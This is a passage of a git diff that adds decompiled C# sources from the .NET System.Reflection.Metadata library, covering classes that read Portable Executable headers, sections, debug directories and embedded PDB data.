minorSubsystemVersion; + Subsystem = subsystem; + DllCharacteristics = dllCharacteristics; + ImageCharacteristics = imageCharacteristics; + SizeOfStackReserve = sizeOfStackReserve; + SizeOfStackCommit = sizeOfStackCommit; + SizeOfHeapReserve = sizeOfHeapReserve; + SizeOfHeapCommit = sizeOfHeapCommit; + } + + public static PEHeaderBuilder CreateExecutableHeader() + { + return new PEHeaderBuilder(Machine.Unknown, 8192, 512, 4194304uL, 48, 0, 4, 0, 0, 0, 4, 0, Subsystem.WindowsCui, DllCharacteristics.DynamicBase | DllCharacteristics.NxCompatible | DllCharacteristics.NoSeh | DllCharacteristics.TerminalServerAware, Characteristics.ExecutableImage, 1048576uL, 4096uL, 1048576uL, 4096uL); + } + + public static PEHeaderBuilder CreateLibraryHeader() + { + return new PEHeaderBuilder(Machine.Unknown, 8192, 512, 4194304uL, 48, 0, 4, 0, 0, 0, 4, 0, Subsystem.WindowsCui, DllCharacteristics.DynamicBase | DllCharacteristics.NxCompatible | DllCharacteristics.NoSeh | DllCharacteristics.TerminalServerAware, Characteristics.ExecutableImage | Characteristics.Dll, 1048576uL, 4096uL, 1048576uL, 4096uL); + } + + internal int ComputeSizeOfPEHeaders(int sectionCount) + { + return 152 + PEHeader.Size(Is32Bit) + 40 * sectionCount; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/PEHeaders.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/PEHeaders.cs new file mode 100644 index 0000000..3517c0a --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/PEHeaders.cs @@ -0,0 +1,275 @@ +using System.Collections.Immutable; +using System.IO; +using System.Reflection.Internal; + +namespace System.Reflection.PortableExecutable; + +public sealed class PEHeaders +{ + private readonly CoffHeader _coffHeader; + + private readonly PEHeader _peHeader; + + private readonly ImmutableArray _sectionHeaders; + + private readonly CorHeader _corHeader; + + private readonly bool _isLoadedImage; + + private readonly int _metadataStartOffset = -1; + + private readonly int _metadataSize; + + private readonly int _coffHeaderStartOffset = -1; + + private readonly int _corHeaderStartOffset = -1; + + private readonly int _peHeaderStartOffset = -1; + + internal const ushort DosSignature = 23117; + + internal const int PESignatureOffsetLocation = 60; + + internal const uint PESignature = 17744u; + + internal const int PESignatureSize = 4; + + public int MetadataStartOffset => _metadataStartOffset; + + public int MetadataSize => _metadataSize; + + public CoffHeader CoffHeader => _coffHeader; + + public int CoffHeaderStartOffset => _coffHeaderStartOffset; + + public bool IsCoffOnly => _peHeader == null; + + public PEHeader? PEHeader => _peHeader; + + public int PEHeaderStartOffset => _peHeaderStartOffset; + + public ImmutableArray SectionHeaders => _sectionHeaders; + + public CorHeader? CorHeader => _corHeader; + + public int CorHeaderStartOffset => _corHeaderStartOffset; + + public bool IsConsoleApplication + { + get + { + if (_peHeader != null) + { + return _peHeader.Subsystem == Subsystem.WindowsCui; + } + return false; + } + } + + public bool IsDll => (_coffHeader.Characteristics & Characteristics.Dll) != 0; + + public bool IsExe => (_coffHeader.Characteristics & Characteristics.Dll) == 0; + + public PEHeaders(Stream peStream) + : this(peStream, 0) + { + } + + public PEHeaders(Stream peStream, int size) + : this(peStream, size, isLoadedImage: false) + { + } + + public PEHeaders(Stream peStream, int size, bool isLoadedImage) + { + //IL_00b0: Unknown result type (might be due to invalid IL or missing references) + //IL_00b5: Unknown result type (might be due to invalid IL or missing references) + if (peStream == null) + { + Throw.ArgumentNull("peStream"); + } + if (!peStream.CanRead || !peStream.CanSeek) + { + throw new ArgumentException(System.SR.StreamMustSupportReadAndSeek, "peStream"); + } + _isLoadedImage = isLoadedImage; + int andValidateSize = StreamExtensions.GetAndValidateSize(peStream, size, "peStream"); + PEBinaryReader reader = new PEBinaryReader(peStream, andValidateSize); + SkipDosHeader(ref reader, out var isCOFFOnly); + _coffHeaderStartOffset = reader.CurrentOffset; + _coffHeader = new CoffHeader(ref reader); + if (!isCOFFOnly) + { + _peHeaderStartOffset = reader.CurrentOffset; + _peHeader = new PEHeader(ref reader); + } + _sectionHeaders = ReadSectionHeaders(ref reader); + if (!isCOFFOnly && TryCalculateCorHeaderOffset(andValidateSize, out var startOffset)) + { + _corHeaderStartOffset = startOffset; + reader.Seek(startOffset); + _corHeader = new CorHeader(ref reader); + } + CalculateMetadataLocation(andValidateSize, out _metadataStartOffset, out _metadataSize); + } + + private bool TryCalculateCorHeaderOffset(long peStreamSize, out int startOffset) + { + if (!TryGetDirectoryOffset(_peHeader.CorHeaderTableDirectory, out startOffset, canCrossSectionBoundary: false)) + { + startOffset = -1; + return false; + } + int size = _peHeader.CorHeaderTableDirectory.Size; + if (size < 72) + { + throw new BadImageFormatException(System.SR.InvalidCorHeaderSize); + } + return true; + } + + private static void SkipDosHeader(ref PEBinaryReader reader, out bool isCOFFOnly) + { + ushort num = reader.ReadUInt16(); + if (num != 23117) + { + if (num == 0 && reader.ReadUInt16() == ushort.MaxValue) + { + throw new BadImageFormatException(System.SR.UnknownFileFormat); + } + isCOFFOnly = true; + reader.Seek(0); + } + else + { + isCOFFOnly = false; + } + if (!isCOFFOnly) + { + reader.Seek(60); + int offset = reader.ReadInt32(); + reader.Seek(offset); + uint num2 = reader.ReadUInt32(); + if (num2 != 17744) + { + throw new BadImageFormatException(System.SR.InvalidPESignature); + } + } + } + + private ImmutableArray ReadSectionHeaders(ref PEBinaryReader reader) + { + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + int numberOfSections = _coffHeader.NumberOfSections; + if (numberOfSections < 0) + { + throw new BadImageFormatException(System.SR.InvalidNumberOfSections); + } + Builder val = ImmutableArray.CreateBuilder(numberOfSections); + for (int i = 0; i < numberOfSections; i++) + { + val.Add(new SectionHeader(ref reader)); + } + return val.MoveToImmutable(); + } + + public bool TryGetDirectoryOffset(DirectoryEntry directory, out int offset) + { + return TryGetDirectoryOffset(directory, out offset, canCrossSectionBoundary: true); + } + + internal bool TryGetDirectoryOffset(DirectoryEntry directory, out int offset, bool canCrossSectionBoundary) + { + int containingSectionIndex = GetContainingSectionIndex(directory.RelativeVirtualAddress); + if (containingSectionIndex < 0) + { + offset = -1; + return false; + } + int num = directory.RelativeVirtualAddress - _sectionHeaders[containingSectionIndex].VirtualAddress; + if (!canCrossSectionBoundary && directory.Size > _sectionHeaders[containingSectionIndex].VirtualSize - num) + { + throw new BadImageFormatException(System.SR.SectionTooSmall); + } + offset = (_isLoadedImage ? directory.RelativeVirtualAddress : (_sectionHeaders[containingSectionIndex].PointerToRawData + num)); + return true; + } + + public int GetContainingSectionIndex(int relativeVirtualAddress) + { + for (int i = 0; i < _sectionHeaders.Length; i++) + { + if (_sectionHeaders[i].VirtualAddress <= relativeVirtualAddress && relativeVirtualAddress < _sectionHeaders[i].VirtualAddress + _sectionHeaders[i].VirtualSize) + { + return i; + } + } + return -1; + } + + internal int IndexOfSection(string name) + { + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + for (int i = 0; i < SectionHeaders.Length; i++) + { + if (SectionHeaders[i].Name.Equals(name, StringComparison.Ordinal)) + { + return i; + } + } + return -1; + } + + private void CalculateMetadataLocation(long peImageSize, out int start, out int size) + { + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_0079: Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + if (IsCoffOnly) + { + int num = IndexOfSection(".cormeta"); + if (num == -1) + { + start = -1; + size = 0; + return; + } + if (_isLoadedImage) + { + start = SectionHeaders[num].VirtualAddress; + size = SectionHeaders[num].VirtualSize; + } + else + { + start = SectionHeaders[num].PointerToRawData; + size = SectionHeaders[num].SizeOfRawData; + } + } + else + { + if (_corHeader == null) + { + start = 0; + size = 0; + return; + } + if (!TryGetDirectoryOffset(_corHeader.MetadataDirectory, out start, canCrossSectionBoundary: false)) + { + throw new BadImageFormatException(System.SR.MissingDataDirectory); + } + size = _corHeader.MetadataDirectory.Size; + } + if (start < 0 || start >= peImageSize || size <= 0 || start > peImageSize - size) + { + throw new BadImageFormatException(System.SR.InvalidMetadataSectionSpan); + } + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/PEMagic.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/PEMagic.cs new file mode 100644 index 0000000..2c658a7 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/PEMagic.cs @@ -0,0 +1,7 @@ +namespace System.Reflection.PortableExecutable; + +public enum PEMagic : ushort +{ + PE32 = 267, + PE32Plus = 523 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/PEMemoryBlock.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/PEMemoryBlock.cs new file mode 100644 index 0000000..43d331f --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/PEMemoryBlock.cs @@ -0,0 +1,58 @@ +using System.Collections.Immutable; +using System.Reflection.Internal; +using System.Reflection.Metadata; + +namespace System.Reflection.PortableExecutable; + +public readonly struct PEMemoryBlock +{ + private readonly AbstractMemoryBlock _block; + + private readonly int _offset; + + public unsafe byte* Pointer + { + get + { + if (_block == null) + { + return null; + } + return _block.Pointer + _offset; + } + } + + public int Length => (_block?.Size - _offset).GetValueOrDefault(); + + internal PEMemoryBlock(AbstractMemoryBlock block, int offset = 0) + { + _block = block; + _offset = offset; + } + + public unsafe BlobReader GetReader() + { + return new BlobReader(Pointer, Length); + } + + public unsafe BlobReader GetReader(int start, int length) + { + BlobUtilities.ValidateRange(Length, start, length, "length"); + return new BlobReader(Pointer + start, length); + } + + public ImmutableArray GetContent() + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + return _block?.GetContentUnchecked(_offset, Length) ?? ImmutableArray.Empty; + } + + public ImmutableArray GetContent(int start, int length) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + BlobUtilities.ValidateRange(Length, start, length, "length"); + return _block?.GetContentUnchecked(_offset + start, length) ?? ImmutableArray.Empty; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/PEReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/PEReader.cs new file mode 100644 index 0000000..6432f87 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/PEReader.cs @@ -0,0 +1,643 @@ +using System.Collections.Immutable; +using System.IO; +using System.IO.Compression; +using System.Reflection.Internal; +using System.Reflection.Metadata; +using System.Runtime.ExceptionServices; +using System.Threading; + +namespace System.Reflection.PortableExecutable; + +public sealed class PEReader : IDisposable +{ + private MemoryBlockProvider _peImage; + + private PEHeaders _lazyPEHeaders; + + private AbstractMemoryBlock _lazyMetadataBlock; + + private AbstractMemoryBlock _lazyImageBlock; + + private AbstractMemoryBlock[] _lazyPESectionBlocks; + + public bool IsLoadedImage { get; } + + public PEHeaders PEHeaders + { + get + { + if (_lazyPEHeaders == null) + { + InitializePEHeaders(); + } + return _lazyPEHeaders; + } + } + + public bool IsEntireImageAvailable + { + get + { + if (_lazyImageBlock == null) + { + return _peImage != null; + } + return true; + } + } + + public bool HasMetadata => PEHeaders.MetadataSize > 0; + + public unsafe PEReader(byte* peImage, int size) + : this(peImage, size, isLoadedImage: false) + { + } + + public unsafe PEReader(byte* peImage, int size, bool isLoadedImage) + { + if (peImage == null) + { + Throw.ArgumentNull("peImage"); + } + if (size < 0) + { + throw new ArgumentOutOfRangeException("size"); + } + _peImage = new ExternalMemoryBlockProvider(peImage, size); + IsLoadedImage = isLoadedImage; + } + + public PEReader(Stream peStream) + : this(peStream, PEStreamOptions.Default) + { + } + + public PEReader(Stream peStream, PEStreamOptions options) + : this(peStream, options, 0) + { + } + + public unsafe PEReader(Stream peStream, PEStreamOptions options, int size) + { + if (peStream == null) + { + Throw.ArgumentNull("peStream"); + } + if (!peStream.CanRead || !peStream.CanSeek) + { + throw new ArgumentException(System.SR.StreamMustSupportReadAndSeek, "peStream"); + } + if (!options.IsValid()) + { + throw new ArgumentOutOfRangeException("options"); + } + IsLoadedImage = (options & PEStreamOptions.IsLoadedImage) != 0; + long position = peStream.Position; + int andValidateSize = StreamExtensions.GetAndValidateSize(peStream, size, "peStream"); + bool flag = true; + try + { + if ((options & (PEStreamOptions.PrefetchMetadata | PEStreamOptions.PrefetchEntireImage)) == 0) + { + _peImage = new StreamMemoryBlockProvider(peStream, position, andValidateSize, (options & PEStreamOptions.LeaveOpen) != 0); + flag = false; + } + else if ((options & PEStreamOptions.PrefetchEntireImage) != PEStreamOptions.Default) + { + NativeHeapMemoryBlock nativeHeapMemoryBlock = (NativeHeapMemoryBlock)(_lazyImageBlock = StreamMemoryBlockProvider.ReadMemoryBlockNoLock(peStream, position, andValidateSize)); + _peImage = new ExternalMemoryBlockProvider(nativeHeapMemoryBlock.Pointer, nativeHeapMemoryBlock.Size); + if ((options & PEStreamOptions.PrefetchMetadata) != PEStreamOptions.Default) + { + InitializePEHeaders(); + } + } + else + { + _lazyPEHeaders = new PEHeaders(peStream); + _lazyMetadataBlock = StreamMemoryBlockProvider.ReadMemoryBlockNoLock(peStream, _lazyPEHeaders.MetadataStartOffset, _lazyPEHeaders.MetadataSize); + } + } + finally + { + if (flag && (options & PEStreamOptions.LeaveOpen) == 0) + { + peStream.Dispose(); + } + } + } + + public PEReader(ImmutableArray peImage) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + if (peImage.IsDefault) + { + Throw.ArgumentNull("peImage"); + } + _peImage = new ByteArrayMemoryProvider(peImage); + } + + public void Dispose() + { + _lazyPEHeaders = null; + _peImage?.Dispose(); + _peImage = null; + _lazyImageBlock?.Dispose(); + _lazyImageBlock = null; + _lazyMetadataBlock?.Dispose(); + _lazyMetadataBlock = null; + AbstractMemoryBlock[] lazyPESectionBlocks = _lazyPESectionBlocks; + if (lazyPESectionBlocks != null) + { + AbstractMemoryBlock[] array = lazyPESectionBlocks; + for (int i = 0; i < array.Length; i++) + { + array[i]?.Dispose(); + } + _lazyPESectionBlocks = null; + } + } + + private MemoryBlockProvider GetPEImage() + { + MemoryBlockProvider peImage = _peImage; + if (peImage == null) + { + if (_lazyPEHeaders == null) + { + Throw.PEReaderDisposed(); + } + Throw.InvalidOperation_PEImageNotAvailable(); + } + return peImage; + } + + private void InitializePEHeaders() + { + StreamConstraints constraints; + Stream stream = GetPEImage().GetStream(out constraints); + PEHeaders value; + if (constraints.GuardOpt != null) + { + lock (constraints.GuardOpt) + { + value = ReadPEHeadersNoLock(stream, constraints.ImageStart, constraints.ImageSize, IsLoadedImage); + } + } + else + { + value = ReadPEHeadersNoLock(stream, constraints.ImageStart, constraints.ImageSize, IsLoadedImage); + } + Interlocked.CompareExchange(ref _lazyPEHeaders, value, null); + } + + private static PEHeaders ReadPEHeadersNoLock(Stream stream, long imageStartPosition, int imageSize, bool isLoadedImage) + { + stream.Seek(imageStartPosition, SeekOrigin.Begin); + return new PEHeaders(stream, imageSize, isLoadedImage); + } + + private AbstractMemoryBlock GetEntireImageBlock() + { + if (_lazyImageBlock == null) + { + AbstractMemoryBlock memoryBlock = GetPEImage().GetMemoryBlock(); + if (Interlocked.CompareExchange(ref _lazyImageBlock, memoryBlock, null) != null) + { + memoryBlock.Dispose(); + } + } + return _lazyImageBlock; + } + + private AbstractMemoryBlock GetMetadataBlock() + { + if (!HasMetadata) + { + throw new InvalidOperationException(System.SR.PEImageDoesNotHaveMetadata); + } + if (_lazyMetadataBlock == null) + { + AbstractMemoryBlock memoryBlock = GetPEImage().GetMemoryBlock(PEHeaders.MetadataStartOffset, PEHeaders.MetadataSize); + if (Interlocked.CompareExchange(ref _lazyMetadataBlock, memoryBlock, null) != null) + { + memoryBlock.Dispose(); + } + } + return _lazyMetadataBlock; + } + + private AbstractMemoryBlock GetPESectionBlock(int index) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + //IL_00a4: Unknown result type (might be due to invalid IL or missing references) + //IL_00c3: Unknown result type (might be due to invalid IL or missing references) + //IL_00c8: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + MemoryBlockProvider pEImage = GetPEImage(); + if (_lazyPESectionBlocks == null) + { + Interlocked.CompareExchange(ref _lazyPESectionBlocks, new AbstractMemoryBlock[PEHeaders.SectionHeaders.Length], null); + } + AbstractMemoryBlock memoryBlock; + if (IsLoadedImage) + { + memoryBlock = pEImage.GetMemoryBlock(PEHeaders.SectionHeaders[index].VirtualAddress, PEHeaders.SectionHeaders[index].VirtualSize); + } + else + { + int size = Math.Min(PEHeaders.SectionHeaders[index].VirtualSize, PEHeaders.SectionHeaders[index].SizeOfRawData); + memoryBlock = pEImage.GetMemoryBlock(PEHeaders.SectionHeaders[index].PointerToRawData, size); + } + if (Interlocked.CompareExchange(ref _lazyPESectionBlocks[index], memoryBlock, null) != null) + { + memoryBlock.Dispose(); + } + return _lazyPESectionBlocks[index]; + } + + public PEMemoryBlock GetEntireImage() + { + return new PEMemoryBlock(GetEntireImageBlock()); + } + + public PEMemoryBlock GetMetadata() + { + return new PEMemoryBlock(GetMetadataBlock()); + } + + public PEMemoryBlock GetSectionData(int relativeVirtualAddress) + { + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + if (relativeVirtualAddress < 0) + { + Throw.ArgumentOutOfRange("relativeVirtualAddress"); + } + int containingSectionIndex = PEHeaders.GetContainingSectionIndex(relativeVirtualAddress); + if (containingSectionIndex < 0) + { + return default(PEMemoryBlock); + } + AbstractMemoryBlock pESectionBlock = GetPESectionBlock(containingSectionIndex); + int num = relativeVirtualAddress - PEHeaders.SectionHeaders[containingSectionIndex].VirtualAddress; + if (num > pESectionBlock.Size) + { + return default(PEMemoryBlock); + } + return new PEMemoryBlock(pESectionBlock, num); + } + + public PEMemoryBlock GetSectionData(string sectionName) + { + if (sectionName == null) + { + Throw.ArgumentNull("sectionName"); + } + int num = PEHeaders.IndexOfSection(sectionName); + if (num < 0) + { + return default(PEMemoryBlock); + } + return new PEMemoryBlock(GetPESectionBlock(num)); + } + + public ImmutableArray ReadDebugDirectory() + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + DirectoryEntry debugTableDirectory = PEHeaders.PEHeader.DebugTableDirectory; + if (debugTableDirectory.Size == 0) + { + return ImmutableArray.Empty; + } + if (!PEHeaders.TryGetDirectoryOffset(debugTableDirectory, out var offset)) + { + throw new BadImageFormatException(System.SR.InvalidDirectoryRVA); + } + if (debugTableDirectory.Size % 28 != 0) + { + throw new BadImageFormatException(System.SR.InvalidDirectorySize); + } + using AbstractMemoryBlock abstractMemoryBlock = GetPEImage().GetMemoryBlock(offset, debugTableDirectory.Size); + return ReadDebugDirectoryEntries(abstractMemoryBlock.GetReader()); + } + + internal static ImmutableArray ReadDebugDirectoryEntries(BlobReader reader) + { + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + int num = reader.Length / 28; + Builder val = ImmutableArray.CreateBuilder(num); + for (int i = 0; i < num; i++) + { + if (reader.ReadInt32() != 0) + { + throw new BadImageFormatException(System.SR.InvalidDebugDirectoryEntryCharacteristics); + } + uint stamp = reader.ReadUInt32(); + ushort majorVersion = reader.ReadUInt16(); + ushort minorVersion = reader.ReadUInt16(); + DebugDirectoryEntryType type = (DebugDirectoryEntryType)reader.ReadInt32(); + int dataSize = reader.ReadInt32(); + int dataRelativeVirtualAddress = reader.ReadInt32(); + int dataPointer = reader.ReadInt32(); + val.Add(new DebugDirectoryEntry(stamp, majorVersion, minorVersion, type, dataSize, dataRelativeVirtualAddress, dataPointer)); + } + return val.MoveToImmutable(); + } + + private AbstractMemoryBlock GetDebugDirectoryEntryDataBlock(DebugDirectoryEntry entry) + { + int start = (IsLoadedImage ? entry.DataRelativeVirtualAddress : entry.DataPointer); + return GetPEImage().GetMemoryBlock(start, entry.DataSize); + } + + public CodeViewDebugDirectoryData ReadCodeViewDebugDirectoryData(DebugDirectoryEntry entry) + { + if (entry.Type != DebugDirectoryEntryType.CodeView) + { + Throw.InvalidArgument(System.SR.Format(System.SR.UnexpectedDebugDirectoryType, "CodeView"), "entry"); + } + using AbstractMemoryBlock block = GetDebugDirectoryEntryDataBlock(entry); + return DecodeCodeViewDebugDirectoryData(block); + } + + internal static CodeViewDebugDirectoryData DecodeCodeViewDebugDirectoryData(AbstractMemoryBlock block) + { + BlobReader reader = block.GetReader(); + if (reader.ReadByte() != 82 || reader.ReadByte() != 83 || reader.ReadByte() != 68 || reader.ReadByte() != 83) + { + throw new BadImageFormatException(System.SR.UnexpectedCodeViewDataSignature); + } + Guid guid = reader.ReadGuid(); + int age = reader.ReadInt32(); + string path = reader.ReadUtf8NullTerminated(); + return new CodeViewDebugDirectoryData(guid, age, path); + } + + public PdbChecksumDebugDirectoryData ReadPdbChecksumDebugDirectoryData(DebugDirectoryEntry entry) + { + if (entry.Type != DebugDirectoryEntryType.PdbChecksum) + { + Throw.InvalidArgument(System.SR.Format(System.SR.UnexpectedDebugDirectoryType, "PdbChecksum"), "entry"); + } + using AbstractMemoryBlock block = GetDebugDirectoryEntryDataBlock(entry); + return DecodePdbChecksumDebugDirectoryData(block); + } + + internal static PdbChecksumDebugDirectoryData DecodePdbChecksumDebugDirectoryData(AbstractMemoryBlock block) + { + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + BlobReader reader = block.GetReader(); + string text = reader.ReadUtf8NullTerminated(); + byte[] array = reader.ReadBytes(reader.RemainingBytes); + if (text.Length == 0 || array.Length == 0) + { + throw new BadImageFormatException(System.SR.InvalidPdbChecksumDataFormat); + } + return new PdbChecksumDebugDirectoryData(text, ImmutableByteArrayInterop.DangerousCreateFromUnderlyingArray(ref array)); + } + + public bool TryOpenAssociatedPortablePdb(string peImagePath, Func pdbFileStreamProvider, out MetadataReaderProvider? pdbReaderProvider, out string? pdbPath) + { + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + if (peImagePath == null) + { + Throw.ArgumentNull("peImagePath"); + } + if (pdbFileStreamProvider == null) + { + Throw.ArgumentNull("pdbFileStreamProvider"); + } + pdbReaderProvider = null; + pdbPath = null; + string directoryName; + try + { + directoryName = Path.GetDirectoryName(peImagePath); + } + catch (Exception ex) + { + throw new ArgumentException(ex.Message, "peImagePath"); + } + Exception errorToReport = null; + ImmutableArray collection = ReadDebugDirectory(); + DebugDirectoryEntry codeViewEntry = collection.FirstOrDefault((DebugDirectoryEntry e) => e.IsPortableCodeView); + if (codeViewEntry.DataSize != 0 && TryOpenCodeViewPortablePdb(codeViewEntry, directoryName, pdbFileStreamProvider, out pdbReaderProvider, out pdbPath, ref errorToReport)) + { + return true; + } + DebugDirectoryEntry embeddedPdbEntry = collection.FirstOrDefault((DebugDirectoryEntry e) => e.Type == DebugDirectoryEntryType.EmbeddedPortablePdb); + if (embeddedPdbEntry.DataSize != 0) + { + bool openedEmbeddedPdb = false; + pdbReaderProvider = null; + TryOpenEmbeddedPortablePdb(embeddedPdbEntry, ref openedEmbeddedPdb, ref pdbReaderProvider, ref errorToReport); + if (openedEmbeddedPdb) + { + return true; + } + } + if (errorToReport != null) + { + ExceptionDispatchInfo.Capture(errorToReport).Throw(); + } + return false; + } + + private bool TryOpenCodeViewPortablePdb(DebugDirectoryEntry codeViewEntry, string peImageDirectory, Func pdbFileStreamProvider, out MetadataReaderProvider provider, out string pdbPath, ref Exception errorToReport) + { + pdbPath = null; + provider = null; + CodeViewDebugDirectoryData codeViewDebugDirectoryData; + try + { + codeViewDebugDirectoryData = ReadCodeViewDebugDirectoryData(codeViewEntry); + } + catch (Exception ex) when (ex is BadImageFormatException || ex is IOException) + { + if (errorToReport == null) + { + errorToReport = ex; + } + return false; + } + BlobContentId id = new BlobContentId(codeViewDebugDirectoryData.Guid, codeViewEntry.Stamp); + string text = PathUtilities.CombinePathWithRelativePath(peImageDirectory, PathUtilities.GetFileName(codeViewDebugDirectoryData.Path)); + if (TryOpenPortablePdbFile(text, id, pdbFileStreamProvider, out provider, ref errorToReport)) + { + pdbPath = text; + return true; + } + return false; + } + + private static bool TryOpenPortablePdbFile(string path, BlobContentId id, Func pdbFileStreamProvider, out MetadataReaderProvider provider, ref Exception errorToReport) + { + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + provider = null; + MetadataReaderProvider metadataReaderProvider = null; + try + { + Stream stream; + try + { + stream = pdbFileStreamProvider(path); + } + catch (FileNotFoundException) + { + stream = null; + } + if (stream == null) + { + return false; + } + if (!stream.CanRead || !stream.CanSeek) + { + throw new InvalidOperationException(System.SR.StreamMustSupportReadAndSeek); + } + metadataReaderProvider = MetadataReaderProvider.FromPortablePdbStream(stream); + if (new BlobContentId(metadataReaderProvider.GetMetadataReader().DebugMetadataHeader.Id) != id) + { + return false; + } + provider = metadataReaderProvider; + return true; + } + catch (Exception ex2) when (ex2 is BadImageFormatException || ex2 is IOException) + { + if (errorToReport == null) + { + errorToReport = ex2; + } + return false; + } + finally + { + if (provider == null) + { + metadataReaderProvider?.Dispose(); + } + } + } + + private void TryOpenEmbeddedPortablePdb(DebugDirectoryEntry embeddedPdbEntry, ref bool openedEmbeddedPdb, ref MetadataReaderProvider provider, ref Exception errorToReport) + { + provider = null; + MetadataReaderProvider metadataReaderProvider = null; + try + { + metadataReaderProvider = ReadEmbeddedPortablePdbDebugDirectoryData(embeddedPdbEntry); + metadataReaderProvider.GetMetadataReader(); + provider = metadataReaderProvider; + openedEmbeddedPdb = true; + } + catch (Exception ex) when (ex is BadImageFormatException || ex is IOException) + { + if (errorToReport == null) + { + errorToReport = ex; + } + openedEmbeddedPdb = false; + } + finally + { + if (provider == null) + { + metadataReaderProvider?.Dispose(); + } + } + } + + public MetadataReaderProvider ReadEmbeddedPortablePdbDebugDirectoryData(DebugDirectoryEntry entry) + { + if (entry.Type != DebugDirectoryEntryType.EmbeddedPortablePdb) + { + Throw.InvalidArgument(System.SR.Format(System.SR.UnexpectedDebugDirectoryType, "EmbeddedPortablePdb"), "entry"); + } + ValidateEmbeddedPortablePdbVersion(entry); + using AbstractMemoryBlock block = GetDebugDirectoryEntryDataBlock(entry); + return new MetadataReaderProvider(DecodeEmbeddedPortablePdbDebugDirectoryData(block)); + } + + internal static void ValidateEmbeddedPortablePdbVersion(DebugDirectoryEntry entry) + { + ushort majorVersion = entry.MajorVersion; + if (majorVersion < 256) + { + throw new BadImageFormatException(System.SR.Format(System.SR.UnsupportedFormatVersion, PortablePdbVersions.Format(majorVersion))); + } + ushort minorVersion = entry.MinorVersion; + if (minorVersion != 256) + { + throw new BadImageFormatException(System.SR.Format(System.SR.UnsupportedFormatVersion, PortablePdbVersions.Format(minorVersion))); + } + } + + internal unsafe static NativeHeapMemoryBlock DecodeEmbeddedPortablePdbDebugDirectoryData(AbstractMemoryBlock block) + { + BlobReader reader = block.GetReader(); + if (reader.ReadUInt32() != 1111773261) + { + throw new BadImageFormatException(System.SR.UnexpectedEmbeddedPortablePdbDataSignature); + } + int num = reader.ReadInt32(); + NativeHeapMemoryBlock nativeHeapMemoryBlock; + try + { + nativeHeapMemoryBlock = new NativeHeapMemoryBlock(num); + } + catch + { + throw new BadImageFormatException(System.SR.DataTooBig); + } + bool flag = false; + try + { + ReadOnlyUnmanagedMemoryStream stream = new ReadOnlyUnmanagedMemoryStream(reader.CurrentPointer, reader.RemainingBytes); + using DeflateStream deflateStream = new DeflateStream(stream, CompressionMode.Decompress, leaveOpen: true); + if (num > 0) + { + int num2; + try + { + using UnmanagedMemoryStream unmanagedMemoryStream = new UnmanagedMemoryStream(nativeHeapMemoryBlock.Pointer, nativeHeapMemoryBlock.Size, nativeHeapMemoryBlock.Size, FileAccess.Write); + deflateStream.CopyTo(unmanagedMemoryStream); + num2 = (int)unmanagedMemoryStream.Position; + } + catch (Exception ex) + { + throw new BadImageFormatException(ex.Message, ex.InnerException); + } + if (num2 != nativeHeapMemoryBlock.Size) + { + throw new BadImageFormatException(System.SR.SizeMismatch); + } + } + if (deflateStream.ReadByte() != -1) + { + throw new BadImageFormatException(System.SR.SizeMismatch); + } + flag = true; + } + finally + { + if (!flag) + { + nativeHeapMemoryBlock.Dispose(); + } + } + return nativeHeapMemoryBlock; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/PEStreamOptions.cs 